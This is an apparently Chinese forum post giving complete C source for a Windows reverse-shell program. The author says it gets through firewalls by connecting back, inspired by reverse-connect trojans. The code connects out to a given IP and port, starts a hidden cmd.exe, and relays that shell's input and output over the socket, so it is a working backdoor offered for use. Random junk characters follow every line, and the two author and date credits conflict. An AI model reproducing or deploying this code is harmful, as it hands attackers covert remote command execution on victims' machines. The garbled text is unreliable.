这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 3}08RU7[!
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/* ============================== U$A/bEhw
Rebound port in Windows NT x:p}w[WM
By wind,2006/7 DP|TIt ,Rl
===============================*/ "]v
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#include I%SuT7"Do
#include I4rV5;f
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#pragma comment(lib,"wsock32.lib") l+t #"3
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void OutputShell(); _B}9f
SOCKET sClient; :qBGe1Sv(
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; /j11,O?72
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void main(int argc,char **argv) g8KY`MBnC&
{ ,g%o
WSADATA stWsaData; w-r_H!-
int nRet; Ft3I>=f{
SOCKADDR_IN stSaiClient,stSaiServer; y7>iz6N
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if(argc != 3) HC?0Lj
{ P= e4lF.
printf("Useage:\n\rRebound DestIP DestPort\n"); /CH(!\bQ
return; hiAxh
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} mU>&ql?e
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WSAStartup(MAKEWORD(2,2),&stWsaData); itw{;j
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Jff 79)f
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stSaiClient.sin_family = AF_INET; ;xhOj<:
stSaiClient.sin_port = htons(0); y">fN0{<
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); `n6/ A)
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 5!tb$p#z
{ 10?qjjb&
printf("Bind Socket Failed!\n"); !z?0 :Jg
return; .xEJaID\N
} `-o5&>'nf
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stSaiServer.sin_family = AF_INET; F,Q?s9s
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); R'L?Xn}3
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); {H+?z<BF<
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) !I~C0u
{ !5&%\NSv
printf("Connect Error!"); s1{[{L3
return; ]dq5hkjpU
} mGO>""<:
OutputShell(); `YU=~xQ
} 2yvVeo&3
#\LZ;&T'N
void OutputShell() "NKf0F
{ U~wjR"='
char szBuff[1024]; JIMWMk;ot
SECURITY_ATTRIBUTES stSecurityAttributes; o*-9J2V=J
OSVERSIONINFO stOsversionInfo; C-Ig_Nc
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; La9r
STARTUPINFO stStartupInfo; a&C.=
char *szShell; 7lwTZ*rnY
PROCESS_INFORMATION stProcessInformation; M'DWu|dIBA
unsigned long lBytesRead; '#A:.P
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); e{0L%%2K
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); tfA}`*$s
stSecurityAttributes.lpSecurityDescriptor = 0; %kq ^]S2O
stSecurityAttributes.bInheritHandle = TRUE; yc[(lq.^n
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); &L%Jy #=
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); PyFj@n
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); srK53vKMHW
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 'y.JcS!|
stStartupInfo.wShowWindow = SW_HIDE; ;\x~ '@
stStartupInfo.hStdInput = hReadPipe; wd wp9 r
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; L7}i
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GetVersionEx(&stOsversionInfo); :Jk33 N4y0
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switch(stOsversionInfo.dwPlatformId) 3{e'YD~hP
{ g8l5.Mpx
case 1: > ws!5q
szShell = "command.com"; @cIgxp
break; LWD#a~
default: nv)))I\
szShell = "cmd.exe"; 6{.J:S9n
break; !R6ApB4ZI
} (ii(yz|
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 4-V)_U#8
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send(sClient,szMsg,77,0); jgq{pZ#E
while(1) ?mU\
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{ 3;l "=#5
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Yb6q))Y
if(lBytesRead) W Y:s
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{ 6G}c1nWU
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); B.*"Xfr8
send(sClient,szBuff,lBytesRead,0); 1"YpO"Rh
} JDA]t&D!v
else Y\(;!o0a
{ ezn`
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lBytesRead=recv(sClient,szBuff,1024,0); $P nLG]X
if(lBytesRead<=0) break; 2+:'0Krc
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); }Eh*xOta
} ne*#+Q{E
} #wjH4DT
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return; '$[Di'*;
}